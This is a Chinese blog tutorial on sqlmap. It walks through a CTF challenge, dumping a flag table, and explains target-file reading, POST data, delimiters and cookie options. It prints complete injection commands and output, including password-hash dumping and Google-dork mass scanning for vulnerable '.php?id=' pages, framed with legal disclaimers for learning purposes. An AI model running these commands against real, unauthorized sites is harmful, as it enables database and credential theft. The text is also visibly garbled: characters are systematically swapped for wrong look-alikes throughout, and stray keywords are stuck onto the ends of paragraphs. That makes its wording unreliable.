[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)

这是做者的系列网络安全自学教程,主要是关于网安工具和实践操做的在线笔记,特分享出来与博友共勉,但愿您们喜欢,一块儿进步。前文分享了Shodan搜索引擎的基本用法及Python命令行。本篇文章详细讲解了Sqlmap的基本用法、CTF实战,而且分享了请求参数设置的用法,包括设置HTTP、POST请求、参数分割、设置Cookie等。本文的CTF实例推荐你们本身去尝试,从而熟悉SQLMAP的基本用法。php

做者做为网络安全的小白,分享一些自学基础教程给你们,但愿大家喜欢。同时,更但愿你能与我一块儿操做深刻进步,后续也将深刻学习网络安全和系统安全知识并分享相关实验。总之,但愿该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!若是对您有帮助,将是我最大的鼓励。python

PS:本文参考了B站、51CTO学院和参考文献中的文章,并结合本身的经验进行撰写,也推荐你们阅读参考文献。mysql

下载地址:https://github.com/eastmountyxz/NetworkSecuritySelf-studygit

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向破解
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通讯(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防御
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防护初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用github

前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包web

该篇文章参考了如下文献,很是推荐你们阅读这些大牛的文章和视频:
机器学习在安全攻防场景的应用与分析 - 腾讯云FreeBuf官方
https://github.com/eastmountyxz
https://www.bilibili.com/video/av60018118 (B站白帽黑客教程)
https://www.bilibili.com/video/av63038037 (B站HACK学习)
https://www.bilibili.com/video/av68215785 (2019 网络安全/黑客基础课程新手入门必看)
Shodan的使用 - CSDN谢公子大神
2019/Web安全/漏洞挖掘/信息收集/SQLMAP/SSRF/文件上传/逻辑漏洞 (B站强推)正则表达式

声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。算法


一.Sqlmap介绍

Sqlmap
是一个开源的渗透测试工具,它能够自动化检测和利用SQL注入缺陷以及接管数据库服务器的过程。它配备了一个强大的检测引擎,由Python语言开发完成,经过外部链接访问数据库底层文件系统和操做系统,并执行命令实现渗透。许多适合于终极渗透测试的小众特性和普遍的开发,从数据库指纹、从数据库获取数据到访问底层文件系统和经过带外链接在操做系统上执行命令。sql


Sqlmap下载
能够从官方网址、Github或Python调用PIP命令实现。shell

在这里插入图片描述

因为Sqlmap是经过Python语言开发完成,也能够安装Python环境,调用Pyhon命令pip install sqlmap安装。

在这里插入图片描述

建议你们在官方网站下载相似Sqlmap的软件,不然不知道是否有后门,这里从Github下载以下图所示。

在这里插入图片描述

打开CMD,Sqlmap直接在Python中调用。因为Sqlmap使用Python(解释型语言)编写,因此能够直接在命令行中调用Python解释器运行Sqlmap.py。以下图所示,表示运行成功。

python sqlmap.py

在这里插入图片描述

查看Sqlmap版本命令以下:

python sqlmap.py --version

在这里插入图片描述

查看简要的帮助信息,参数及含义。

python sqlmap.py -h

在这里插入图片描述

查询高级帮助信息。

python sqlmap.py -hh

在这里插入图片描述


二.Sqlmap基础用法及CTF实战

Sqlmap的基本流程以下:

  • 找注入点并检测:sqlmap –u “连接”
  • 列库显示数据库:sqlmap –u “连接” --dbs
  • 列表显示表:sqlmap –u “连接” –D 数据库 --tables
  • 列字段显示表中字段: sqlmap –u “连接” –D 数据库 –T 表名 --columns
  • 显示字段内容:sqlmap –u “连接” –D 数据库 –T 表名 –C 字段 --dump

做者这里以“实验吧”的CTF题目做为测试地址,但愿读者必定结合这个例子进行尝试,熟悉SQLMAP的基本用法。
测试地址:http://ctf5.shiyanbar.com/web/index_3.php?id=1

网页以下图所示,咱们须要经过SQL注入把数据库中的表格flag值获取出来。

在这里插入图片描述

这个实例必定推荐你们本身去尝试,熟悉SQLMAP的基本用法。

1.获取数据库

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs

运行结果以下图所示,获取3个数据库,其中–dbs参数表示databases。

在这里插入图片描述

在这里插入图片描述

2.获取当前数据库

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db

运行结果以下图所示,其中–current-db参数表示当前数据库(MySQL),输出结果:web1。

在这里插入图片描述

PS:对应的内容以下所示,LOGO还挺好看的。

C:\Users\yxz\Desktop\sqlmap-master>python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.3.11.86#dev}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:27:32 /2019-11-21/

[11:27:32] [INFO] resuming back-end DBMS 'mysql'
[11:27:32] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 2112=2112 AND 'btem'='btem
---
[11:27:33] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.10.2, PHP 5.5.38
back-end DBMS: MySQL 5
[11:27:33] [INFO] fetching current database
[11:27:33] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:27:33] [INFO] retrieved: web1
current database: 'web1'
[11:27:35] [INFO] fetched data logged to text files under 'C:\Users\yxz\AppData\Local\sqlmap\output\ctf5.shiyanbar.com'

[*] ending @ 11:27:35 /2019-11-21/

3.获取当前用户

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-user

运行结果以下图所示,获取当前数据库用户:web1@localhost。

在这里插入图片描述

获取数据库用户和密码的代码以下所示:

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --passwords

在这里插入图片描述

4.获取数据库中全部表

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 --tables

运行结果以下图所示,获取数据库web1的全部表,其中-D表示数据库,–tables表示全部表。
输出结果为flag和web_1两张表。

在这里插入图片描述

在这里插入图片描述

5.获取表中全部字段

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 -T web_1 --columns

输出结果以下图所示:

在这里插入图片描述

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 -T flag --columns

输出结果以下图所示:

在这里插入图片描述

最终咱们须要的结果flag在这个表里。

在这里插入图片描述

Database: web1
Table: flag
[3 columns]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | non-numeric |
| id     | numeric     |
| name   | non-numeric |
+--------+-------------+

6.获取用户名和密码

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 -T flag -C "flag,id,name" --dump

获取的结果以下图所示:

在这里插入图片描述

最终的结果为:flag{Y0u_@r3_5O_dAmn_90Od}

[11:56:59] [INFO] retrieved: 1
[11:56:59] [INFO] retrieved: flag{Y0u_@r3_5O_dAmn_90Od}
[11:57:07] [INFO] retrieved: 2
[11:57:08] [INFO] retrieved: baloteli
Database: web1
Table: flag
[1 entry]
+----------------------------+----+----------+
| flag                       | id | name     |
+----------------------------+----+----------+
| flag{Y0u_@r3_5O_dAmn_90Od} | 2  | baloteli |
+----------------------------+----+----------+

若是某网站存在SQL注入漏洞,经过SQLMAP就能:
(1)获取数据库名、用户
(2)获取后台登陆表
(3)获取登陆表中用户名和密码字段
(4)获取后台管理员的用户名和密码
因此,SQL注入、XSS注入、弱口令这些低级错误是须要各个管理员避免的。

在这里插入图片描述


三.Sqlmap肯定目标常见方法

1.Sqlmap直连数据库

Sqlmap支持直接链接数据库,经过如下命令来直连。

  • 服务型数据库(前提指导数据库用户名和密码)
    DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME(MySQL、Oracle、SQL Server、PostgreSQL)

例如:

python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs --users

获取banner信息和用户信息以下图所示:

在这里插入图片描述

  • 文件型数据库(前提指导数据库绝对路径)
    DBMS://DATABASE_FILEPATH(SQLite、Microsoft Access、Firebird、etc.)

2.Sqlmap URL探测

Sqlmap直接对单一URL探测,参数使用-u或-url,URL格式:http(s): //target_url[:port]/[…]

仍是以CTF目标为例,命令以下:

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --banner

输出结果以下图所示,获取banner信息,检测SQL注入和XSS注入。

在这里插入图片描述

返回网站指纹信息,包括MySQL、Apache、PHP、操做系统等。

在这里插入图片描述

3.Sqlmap文件读取目标

在某些状况下,不仅是对单一URL探测,还须要对HTTP提交参数以及多个URL进行探测,只是用-u参数已经没法知足时,就须要使用更强大的方式从文件中读取目标进行探测。

SQLMAP支持从不一样类型的文件中读取目标进行SQL注入探测。

  • -l 从Burpsuite proxy或WebScarab proxy中读取HTTP请求日志文件
  • -x 从sitemap.xml站点地图文件中读取目标探测地图中URL
  • -m 从多行文本格式文件读取多个目标,对多个目标进行探测
  • -r 从文本文件中读取HTTP请求做为SQL注入探测的目标
  • -c 从配置文件sqlmap.conf中读取目标探测

这里以Kali中 DVWA 本地某网站为例,做者只是介绍基本的方法,建议读者下来深刻尝试。

首先,在Burpsuite中“Project options”勾选“Proxy”。

在这里插入图片描述

勾选以后会弹出对话框,输入“test”点击保存,此时桌面有个test文件。

在这里插入图片描述

接着更改代理服务器设置,设置为127.0.0.1,端口号为8080,访问目标网站时,BurpSuite拦截咱们的数据。

在这里插入图片描述

此时打开某网站,这里以Kali环境中的 DVWA 为例,本地数据会截断获取相关信息。

在这里插入图片描述

输出结果以下图所示,查看test有对应的相关信息。

在这里插入图片描述

在BurpSuite中点击Forward查看相关信息,能够看到各类请求信息。

在这里插入图片描述

接下来再经过SQLMAP调用文件注入检测。test文件复制到SQLMAP目录下,输入命令开始检测,核心命令:

python sqlmap.py -l test

在这里插入图片描述

使用这种方式能够探测大量的目标,比单一的探测更加高效。指定多个URL进行探测以下图所示:

在这里插入图片描述

python sqlmap.py -c sqlmap.conf

在这里插入图片描述

4.Sqlmap Google批量扫描注入

Google黑客批量扫描注入中,Sqlmap经过-g自动利用Google获取指定Google hack的目标,再利用交互向导模式进行Sql注入探测。

例如:

python sqlmap.py -g "inurl:\".php?id=1\""
python sqlmap.py -g "inurl:.php?id=1"

由于不能访问谷歌,因此此时不能正常获取数据。若是能正常访问,则显示以下图所示。

在这里插入图片描述

PS:这里不建议你们使用SQLMAP GOOGLE探测,咱们须要在受权的状况下去检测目标网站,更好地保护网站或检测网站漏洞,做为白帽子绿色干净的网络须要咱们共同维护。


四.Sqlmap请求参数设置

1.Sqlmap设置HTTP方法

Sqlmap会自动在探测过程当中使用合适的HTTP请求方法。可是在某些具体状况下,须要强制使用具体的HTTP请求方法。例如PUT请求方法,HTTP PUT请求方法不会自动使用,所以须要咱们强制指定。使用–method=PUT。

在这里插入图片描述

2.Sqlmap设置POST提交参数

这是一个很是重要且经常使用的功能,而且某些状况下GET容易被识别,POST方法更好。记住这句话,后面的文章会深刻实验。

默认状况下,用于执行HTTP请求的HTTP方法是GET,可是您能够经过提供在POST请求中发送的数据隐式地将其更改成POST。这些数据做为这些参数,被用于SQL注入检测。

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

–method=POST 也能够强制POST,但这里使用 –data=“id=1” 注入参数的检测,隐式的将GET方法转换为POST方法。其中,-f 表示fingerprint指纹信息,–banner --dbs --users 用于获取数据库、用户等信息。

假设某网站是POST提交请求,使用GET法获取信息的。这里使用DVWA示例。

在这里插入图片描述

接着设置浏览器代理,打开BurpSuite截断数据。

在这里插入图片描述

在这里插入图片描述

当咱们输入用户名和密码后,BurpSuite会截断咱们的请求,而后提取其中的请求值。

在这里插入图片描述

能够看到截断的请求以下图所示:

在这里插入图片描述

Sqlmap中输入指令以下图所示,经过这种方式把GET指定的URL提交修改成POST数据提交,从而探测POST注入。

python sqlmap.py -u "http://192.168.1.100/sqli/Less-11/index.php" --data="uname=admin&passwd=admin&submit=submit" -f --banner --dbs --users

在这里插入图片描述

首先返回存在SQL注入的信息,以下图所示:

在这里插入图片描述

接着返回对应的指纹信息。

在这里插入图片描述

同时输出指定返回的数据库信息、用户信息。

在这里插入图片描述
在这里插入图片描述

3.Sqlmap设置参数分隔符

在某些状况下,Sqlmap须要覆盖默认参数分隔符(如& in GET和POST数据),才能正确地分割和单独处理每一个参数。例如:提交的数据使用“;”分割,而使用Sqlmap时会报错,须要使用–param指定分隔符。

python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

使用&来正确分割这些信息,接着进行SQL注入的检测。

在这里插入图片描述

4.Sqlmap设置Cookie头

Sqlmap中用来设置Cookie的参数,包括:

--cookie
--cookie-del
--load-cookies
--drop-set-cookie

使用场景:
(1) Web应用程序具备基于Cookie验证的过程。
例如某网站登陆后台以后存在注入漏洞,如今用Sqlmap进行检测,设置相应的Cookie,使得每个Sqlmap探测在HTTP请求中都加入了Cookie值,绕过登陆限制。

(2) 利用Cookie值上的SQL注入漏洞。

Sqlmap使用Cookie过程以下:
(1) 登陆或浏览页面。
(2) 打开审计工具或代理拦截,复制Cookie。
(3) 在Sqlmap中使用–cookie粘贴Cookie。

在这里插入图片描述

这里一样以DVWA为例,打开网页输入URL并登陆。

在这里插入图片描述

接着经过F12打开工具获取Cookie值。

在这里插入图片描述

调用Sqlmap设置Cookie并获取相关信息。注意,这里不加Cookie探测会报302错误,同时这里的Cookie值是须要登陆系统以后才能获取的。后续做者会继续学习,但愿能分享一些示例。

在这里插入图片描述

若是在通讯过程当中,Web应用程序使用Set-Cookie标头进行响应,Sqlmap将在全部进一步的HTTP请求中自动使用其值做为Cookie标头。Sqlmap还将为SQL注入自动测试这些值。这能够经过提供–drop-set-cookie,Sqlmap将忽略任何即将到来的Set-Cookie头来避免。

反之亦然,若是您提供了一个带有选项的HTTP Cookie报头——Cookie和目标URL在任什么时候候发送一个HTTP set-Cookie报头,Sqlmap将询问您要如下HTTP请求使用哪组Cookie。load-cookie能够用来提供包含Netscape/wget格式的Cookie的特殊文件。


五.总结

又忙了16个小时,发现本身网络安全方向的基础很是薄弱,有太多实践知识想学,太多学术论文想看,天天都在忙碌,过程很是艰辛,博士哪有这么好毕业。可是这种苦中带甜,充实的滋味又让我陶醉,还有远方的女神、许多朋友和博友的陪伴。但愿将来在网络态势感知、恶意代码检测、嫌疑识别和知识图谱方面能再深刻点,多读文献,多找创新,加油。

天行健,君子以自强不息。
地势坤,君子以厚德载物。

最后但愿基础性文章对您有所帮助,做者也是这个领域的菜鸟一枚,但愿与您共同进步,共勉。

在这里插入图片描述

三周年快乐,补充一段女神的独白,这也是我写博客的最大动力。

他历来都是钢铁直男,他粗心健忘,不善言辞,不事修饰,不懂浪漫,读不懂你嘴里的“反话”,但他却老是愿意,用心揣摩你每一次喜恶,记录彼此每个快乐的瞬间,记住每个值得记念的日子,学拍照学剪辑学着送你礼物,陪你作任何你想作的事,鼓励你尝试新的爱好,睡前给你倒好热水充上手机,给你写信写日记画漫画……尽管他真的很忙很忙,尽管曾经在学习作一个男票上也曾跌跌撞撞、笑料百出,尽管也曾多少次遭遇误解责怪忍住眼泪,但谢谢你,让我知道真爱一我的的样子,谢谢你,成全我对爱人和婚姻的全部向往!三年,咱们成了世界上最了解彼此的人!
谢谢三年前那天你鼓起勇气加了我微信,谢谢你写博客的好习惯,让我短短几天就被你吸引,谢谢我本身的勇敢,从不后悔那晚傻傻向你好白。也许距离远了,每次见面都很难舍。总之,很幸运很幸福,能与你共度余生!

(By:Eastmount 2019-11-21 下午4点 http://blog.csdn.net/eastmount/ )